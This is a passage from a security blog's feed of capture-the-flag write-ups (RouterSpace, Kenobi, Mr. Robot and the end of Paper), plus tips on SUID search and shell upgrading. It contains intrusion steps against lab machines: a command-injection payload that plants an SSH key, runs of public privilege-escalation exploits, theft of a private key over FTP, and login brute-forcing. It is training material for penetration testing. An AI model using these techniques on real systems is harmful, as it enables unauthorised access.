&lt;pre&gt;&lt;code&gt;scp &amp;#x2F;opt&amp;#x2F;PEAS-ng&amp;#x2F;linpeas&amp;#x2F;linpeas.sh dwight@10.10.11.143:&amp;#x2F;dev&amp;#x2F;shm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;linpeas.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s run linpeas.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.&amp;#x2F;linpeas.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;vulnerability-analysis-1&quot;&gt;Vulnerability Analysis&lt;&#x2F;h3&gt;
&lt;p&gt;And we see this machine is vulnerable to CVE-2021-3560 which is Polkit or Pwnkit which allows unprivileged users to call privileged methods using DBus.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;CVE.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s get this python script inside this machine and run this.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python3 CVE-2021-3560
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Exploit work successfully and we got a root shell back.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;rooted.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we can get the root flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;rootflag.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;0268727bc5f970f81813a559c456ba62&lt;&#x2F;code&gt; — Root Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>RouterSpace</title>
        <published>2022-05-24T00:00:00+00:00</published>
        <updated>2022-05-24T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/routerspace/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/routerspace/</id>
        <content type="html">&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;ethicalhacs.com&#x2F;wp-content&#x2F;uploads&#x2F;2022&#x2F;03&#x2F;RouterSpace-Banner.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scanning&quot;&gt;Scanning&lt;&#x2F;h2&gt;
&lt;p&gt;first, let’s start with the Nmap scan.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC 10.10.11.148
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From the Nmap scan, we can see that 2 opens are open
one is a web server and another one is an SSH.&lt;&#x2F;p&gt;
&lt;p&gt;~&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;nmap.png&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;web-enumeration&quot;&gt;Web Enumeration&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s visit the website first,&lt;&#x2F;p&gt;
&lt;p&gt;~&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;website.png&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It’s just a static website only the download button is working. Download the routerspace.apk. Install the RouterSpace.apk in anbox or you can use android studio or genymotion it works the same.&lt;&#x2F;p&gt;
&lt;br&gt;
&lt;p&gt;Running the application click on Check Status it’s said the router is working fine.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;running.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s intercept this in burp. But for that, I need to first set the proxy.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;adb shell settings put global http_proxy 10.10.14.28:8001 &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Now configure the burp to intercept the traffic of tun0 IP.&lt;&#x2F;p&gt;
&lt;p&gt;Now everything is set let’s click on Check Status. Captured the request.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;request.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s send it to the repeater tab.
But it’s going on routerspace.htb&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;repeater.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s add this in &#x2F;etc&#x2F;hosts file.
Now send the req.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;send.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s try command injection with id. But it’s reflected the same string.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;cmdinject.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s try to do some basic methods to bypass the filter. I simply add \n in front of the command.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;rce.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;it worked.&lt;&#x2F;p&gt;
&lt;p&gt;I tried different methods to get a rev shell but non of them worked because of IP tables rules. Let’s check if there is any id_rsa key in the paul .ssh directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;sshdir.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Nothing there so I decided to add my public id_rsa key inside paul .ssh directory. But first, let’s generate the key.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;ssh-keygen.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s add this in the paul .ssh directory.&lt;&#x2F;p&gt;
&lt;p&gt;Using double greater than sign(&amp;gt;&amp;gt;) because I don’t want to overwrite someone’s ssh key so this simply appends the file content.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{“ip”:”\necho ‘your public id_rsa key’ &amp;gt;&amp;gt; &amp;#x2F;home&amp;#x2F;paul&amp;#x2F;.ssh&amp;#x2F;authorized_keys”}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;sshkey.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Check whether the file exists there or not and It is there.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;ls.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s get the ssh connection.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ssh -i &amp;#x2F;home&amp;#x2F;larnzlort&amp;#x2F;.ssh&amp;#x2F;id_rsa paul@10.10.11.148
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;ssh.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s grab the user flag.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat user.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;userflag.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;2394adcb72320ac4a8e18a4cd7fdaa98&lt;&#x2F;code&gt; — User Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;&#x2F;h2&gt;
&lt;p&gt;Now due to iptables rules, we don’t simply curl the linpeas file but we can use scp to copy the file through ssh.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;scp -i &amp;#x2F;home&amp;#x2F;larnzlort&amp;#x2F;.ssh&amp;#x2F;id_rsa &amp;#x2F;opt&amp;#x2F;PEASS-ng&amp;#x2F;linPEAS&amp;#x2F;linpeas.sh paul@10.10.11.148:&amp;#x2F;dev&amp;#x2F;shm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;linpeasmov.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we have the linpeas let’s run it.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.&amp;#x2F;linpeas.sh | tee linpeas_out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we see sudo is vulnerable.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;worawit&#x2F;CVE-2021-3156&#x2F;blob&#x2F;main&#x2F;exploit_nss.py&quot;&gt;CVE-2021-3156&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s transfer the exploit through ssh.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;scp -i &amp;#x2F;home&amp;#x2F;larnzlort&amp;#x2F;.ssh&amp;#x2F;id_rsa .&amp;#x2F;CVE-2021-3156.py paul@10.10.11.148:&amp;#x2F;dev&amp;#x2F;shm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;exploitmov.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;now let’s run the exploit&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python3 CVE-2021-3156.py
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we get the root.txt.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;routerspace&#x2F;rootflag.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;635f3fe93741b2e566ef5cef97d3c18e&lt;&#x2F;code&gt; — Root Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;And we successfuly pwned it …….&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Finding Files With SUID Binaries</title>
        <published>2022-05-20T00:00:00+00:00</published>
        <updated>2022-05-20T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/finding-files-with-suid-binaries/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/finding-files-with-suid-binaries/</id>
        <content type="html">&lt;p&gt;SUID stands for “Set User ID”, and it is a special type of permission that can be given to a file so the file is always run with the permissions of the owner instead of the user executing it. This is necessary for a lot of programs to work properly in Unix. The ping program requires root privileges to create network sockets. It is also a program that is commonly used by non-privileged users to test network connections. Instead of only allowing users with elevated privileges to run ping, the SUID permission is placed on the file so that anyone can run the program with root privileges. Because ping is a tried and tested program, it has been deemed safe to be run with SUID permissions.&lt;&#x2F;p&gt;
&lt;p&gt;Other programs have various ways of abusing SUID privileges because they have additional features that allow a user to “break out” of the intended functionality.&lt;&#x2F;p&gt;
&lt;p&gt;You can use these commands to find a list of SUID enabled executables on a Unix machine:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;find &amp;#x2F; -user root -perm -4000 -print 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null

find &amp;#x2F; -type f -perm -04000 -ls 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null

find &amp;#x2F; -type f -perm -u=s 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | xargs ls -l

find &amp;#x2F; -perm -u=s -type f 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null

find &amp;#x2F; -user root -perm -4000 -exec ls -ldb {} \;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Upgrading Dumb Shells to Fully Interactive TTYs</title>
        <published>2022-05-20T00:00:00+00:00</published>
        <updated>2022-05-20T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/upgrading-dumb-shells/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/upgrading-dumb-shells/</id>
        <content type="html">&lt;p&gt;It can often be frustrating when working with reverse shells if all you have is a “dumb” shell. A dumb shell is a type of shell that doesn’t have a proper terminal’s full functionality. That means things like tab completion, keyboard shortcuts, and terminal history simply aren’t present.&lt;&#x2F;p&gt;
&lt;p&gt;Specific commands like &lt;code&gt;su&lt;&#x2F;code&gt; will not work in dumb shells, which makes things complicated when trying different privilege escalation techniques. Text editors don’t work very well in these conditions either, which can be a pain.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;method-1-python-pty-module&quot;&gt;Method 1 : Python pty Module&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;python -c &amp;#x27;import pty; pty.spawn(&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;)&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;method-2-upgrading-from-netcat-with-magic&quot;&gt;Method 2: Upgrading from netcat with magic&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &amp;#x27;import pty;pty.spawn(&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;)&amp;#x27;
ctrl + z
stty raw -echo
fg
enter
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;pbs.twimg.com&#x2F;media&#x2F;FTiALSDXEAAPWPA?format=png&amp;amp;name=900x900&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Kenobi</title>
        <published>2022-05-17T00:00:00+00:00</published>
        <updated>2022-05-17T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/kenobi/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/kenobi/</id>
        <content type="html">&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;miro.medium.com&#x2F;max&#x2F;855&#x2F;1*_M8KYGp0PPLKYkoGQS6TMA.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scanning&quot;&gt;Scanning&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s start with Nmap.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nmap -T5 –max-retries 2500 -sC -sV 10.10.229.143
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;nmap.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;&#x2F;h2&gt;
&lt;p&gt;We can see that SMB is running on port 445. Let’s enumerate it.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse 10.10.229.143
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;nmapsmb.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see 3 shares. Let’s inspect these shares.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;smbclient &amp;#x2F;&amp;#x2F;10.10.229.143&amp;#x2F;anonymous

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;inspectingshares.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We found a file names log.txt. Let’s get it.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;smbget -R smb:&amp;#x2F;&amp;#x2F;$IP&amp;#x2F;anonymous
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;smbget.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s see what mount can we see.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.229.143
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;rpc.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s try to exploit the proftpd that we got from log.txt.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;fptversion.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see the version of proftpd. Now let’s try to find a exploit for proftpd version 1.3.5.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit proftpd 1.3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;searchsploit.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see a perfect exploit names ‘mod_copy’ command execution.&lt;&#x2F;p&gt;
&lt;p&gt;The mod_copy module implements &lt;code&gt;SITE CPFR&lt;&#x2F;code&gt; and &lt;code&gt;SITE CPTO&lt;&#x2F;code&gt; commands, which can be used to copy files&#x2F;directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.
&lt;br&gt;
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
&lt;br&gt;
Now let’s copy Kenobi’s private key using SITE CPFR and SITE CPTO commands.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc 10.10.229.143

CPFR &amp;#x2F;var&amp;#x2F;tmp&amp;#x2F;id_rsa

CPTO &amp;#x2F;var&amp;#x2F;tmp&amp;#x2F;id_rsa
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;CPFR.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We knew that the &#x2F;var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the &#x2F;var&#x2F;tmp directory.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s mount the &#x2F;var&#x2F;tmp directory to our machine.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkdir &amp;#x2F;mnt&amp;#x2F;kenobiNFS
mount machine_ip:&amp;#x2F;var &amp;#x2F;mnt&amp;#x2F;kenobiNFS
ls -la &amp;#x2F;mnt&amp;#x2F;kenobiNFS
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;nfsshare.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We now have a network mount on our deployed machine! We can go to &#x2F;var&#x2F;tmp and get the private key then login to Kenobi’s account.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ssh -i id_rsa kenobi@10.10.229.143
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;ssh.png&quot; alt=&quot;&quot; &#x2F;&gt;
Now we can grab the user flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;usertxt.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;d0b0f3f53b6caa532a83915e19224899&lt;&#x2F;code&gt; — User Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s search for the files with SUID binaries.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;find &amp;#x2F; -perm -u=s -type f 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;SUIDfiles.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;‘&#x2F;usr&#x2F;bin&#x2F;menu’ doesn’t look ordinary.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;miro.medium.com&#x2F;max&#x2F;1188&#x2F;1*M7CF0_yvhvMa6mRV5sRTdw.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Strings is a command on Linux that looks for human-readable strings on a binary.
This shows us the binary is running without a full path (e.g. not using &#x2F;usr&#x2F;bin&#x2F;curl or &#x2F;usr&#x2F;bin&#x2F;uname).
As this file runs as the root user’s privileges, we can manipulate our path to gain a root shell.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;miro.medium.com&#x2F;max&#x2F;1400&#x2F;1*c6kfmB3-TMe3KZQEYu8VxQ.png&quot; alt=&quot;&quot; &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;miro.medium.com&#x2F;max&#x2F;1400&#x2F;1*EuX_WocdqlYPFPBrCris4Q.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s grab the user flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;kenobi&#x2F;privesc.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;177b3cd8562289f37382721c28381f02&lt;&#x2F;code&gt; — Root Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;We pawned it………&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Mr. Robot</title>
        <published>2022-05-17T00:00:00+00:00</published>
        <updated>2022-05-17T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/mr-robot/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/mr-robot/</id>
        <content type="html">&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;miro.medium.com&#x2F;max&#x2F;876&#x2F;1*Ho0L6wG_mAH6q5u5quAbDw.png&quot; alt=&quot;Banner&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scanning&quot;&gt;Scanning&lt;&#x2F;h2&gt;
&lt;p&gt;First let’s first start with our Nmap scan.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC -A -O 10.10.123.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;nmap.png&quot; alt=&quot;nmap_img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A website seems to be opened in port 80. Let’s go and visit that.
&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;website.png&quot; alt=&quot;website_img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can just explore more about the web. Lets look at a common file in websites robot.txt.
&lt;br&gt;
we can see 2 files namely, fsocity.dic and key-1-of-3.txt. Let’s download and see.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;wget.png&quot; alt=&quot;dwnld_img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;fsocity.dic is a dictionary file.
key-1-of-3.txt is the first flag.
&amp;gt;&lt;code&gt;073403c8a58a1f80d943455fb30724b9&lt;&#x2F;code&gt; — First Flag&lt;&#x2F;p&gt;
&lt;h2 id=&quot;web-enumeration&quot;&gt;Web Enumeration&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s use gobuster to find hidden directories of the&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gobuster -w &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;wordlists&amp;#x2F;dirbuster&amp;#x2F;directory-medium-2.3.txt -u http:&amp;#x2F;&amp;#x2F;10.10.123.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;gobuster.png&quot; alt=&quot;gobutser_img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Found wp-login, which is the login page of the wordpress dashboard.
&lt;br&gt;
To bruteforce and gain acess to the wordpress dashboard we are using the fsocity.dic file as the wordlist.
There are 2 ways to do this,&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-bruteforcing-to-find-the-username&quot;&gt;1. BRUTEFORCING TO FIND THE USERNAME:&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;hydra -L fsocity.dic -p test 10.10.123.2 http-post-form “&amp;#x2F;wp-login:log=^USER^&amp;amp;pwd=^PWD^:Invalid username” -t 30
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
